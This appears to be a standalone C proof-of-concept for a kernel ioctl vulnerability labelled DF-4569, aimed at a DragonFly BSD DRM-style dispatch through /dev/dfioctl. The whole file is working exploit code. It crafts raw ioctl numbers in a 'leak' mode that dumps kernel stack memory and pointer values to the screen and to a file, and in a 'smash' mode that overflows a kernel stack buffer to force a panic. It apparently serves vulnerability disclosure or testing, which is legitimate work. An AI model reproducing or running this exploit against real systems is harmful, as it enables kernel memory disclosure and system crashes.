DF-4569 / df_primitive.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 | /* * df_primitive.c -- DF-4569 demonstration driver (user space). * * Usage: * df_primitive leak [size] # VOID|OUT + nr 0x02 (GET_MAGIC replica): * # mapped_ioctl() copyouts `size' bytes * # from its 128-byte stack buffer to * # userland -> kernel stack disclosure. * df_primitive smash [size] # OUT + nr 0x06 (GET_STATS replica): * # handler memsets 248 bytes over the * # 128-byte stack buffer -> kernel stack * # buffer overflow -> panic on return. * * Both commands encode the ioctl number by hand, exactly as the DRM * dispatch sees it: only the low byte selects the handler. * * cmd = dir_bits | (size << 16) | ('d' << 8) | nr * * with dir bits per sys/sys/ioccom.h: IOC_OUT 0x40000000, IOC_IN * 0x80000000, IOC_VOID 0x20000000 (these are FREELY choosable by the * caller -- drm_ioctl() never validates them). */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define IOC_VOID_DF 0x20000000UL #define IOC_OUT_DF 0x40000000UL #define IOC_IN_DF 0x80000000UL #define GROUP_DF 'd' static void hexdump_n(const unsigned char *p, size_t n, size_t off) { size_t i, j; for (i = 0; i < n; i += 16) { printf("%08zx: ", off + i); for (j = 0; j < 16; j++) { if (i + j < n) printf("%02x ", p[i + j]); else printf(" "); } printf(" |"); for (j = 0; j < 16 && i + j < n; j++) printf("%c", (p[i + j] >= 32 && p[i + j] < 127) ? p[i + j] : '.'); printf("|\n"); } } static int looks_like_kernel_ptr(const unsigned char *p, size_t n) { size_t i; unsigned long v; int hits = 0; for (i = 0; i + 8 <= n; i += 8) { memcpy(&v, p + i, 8); /* DFly x86_64 kernel addresses */ if ((v >> 48) == 0xffff && v != 0xffffffffffffffff && (v & 0xfff) != 0x0) hits++; } return hits; } int main(int argc, char **argv) { const char *mode = argc > 1 ? argv[1] : "leak"; size_t size = argc > 2 ? (size_t)strtoul(argv[2], NULL, 0) : 2048; unsigned long dir, cmd; unsigned char *buf; int fd, err; if (size == 0 || size > 8191) { fprintf(stderr, "size must be 1..8191 (IOCPARM_MAX)\n"); return 2; } buf = calloc(1, size + 16); if (buf == NULL) return 2; fd = open("/dev/dfioctl", O_RDWR); if (fd < 0) { perror("open /dev/dfioctl"); return 2; } if (strcmp(mode, "leak") == 0) { /* IOC_VOID|IOC_OUT: mapped_ioctl() stores the user pointer in * its 128-byte stack buffer and later copyouts `size' bytes * of kernel stack to userland. Handler returns 0 (like * drm_getmagic always does on success). */ dir = IOC_VOID_DF | IOC_OUT_DF; cmd = dir | (size << 16) | (GROUP_DF << 8) | 0x02; } else if (strcmp(mode, "smash") == 0) { /* plain IOC_OUT, small size: data = the 128-byte stack buffer * (bzero'd for `size' bytes); handler memsets 248 bytes. */ dir = IOC_OUT_DF; cmd = dir | (size << 16) | (GROUP_DF << 8) | 0x06; } else { fprintf(stderr, "unknown mode %s\n", mode); return 2; } printf("mode=%s size=%zu cmd=0x%lx (nr=0x%02x)\n", mode, size, cmd, (unsigned)(cmd & 0xff)); err = ioctl(fd, cmd, buf); printf("ioctl returned %d", err); if (err != 0) printf(" (errno-based return; data before any fault is still copied)"); printf("\n\n"); if (strcmp(mode, "leak") == 0) { size_t show = size < 512 ? size : 512; printf("--- first %zu bytes received ---\n", show); hexdump_n(buf, show, 0); printf("--- kernel-pointer-looking qwords (0xffffxxxxxxxxxxxx): %d " "in first %zu bytes, %d in all %zu ---\n", looks_like_kernel_ptr(buf, show), show, looks_like_kernel_ptr(buf, size), size); fflush(stdout); { /* leave a machine-greppable artifact */ FILE *f = fopen("leak_bytes.bin", "w"); if (f) { fwrite(buf, 1, size, f); fclose(f); } } } else { printf("smash issued; if the stack overflow fires, the kernel " "panics on return from mapped_ioctl().\n"); fflush(stdout); } close(fd); return 0; } |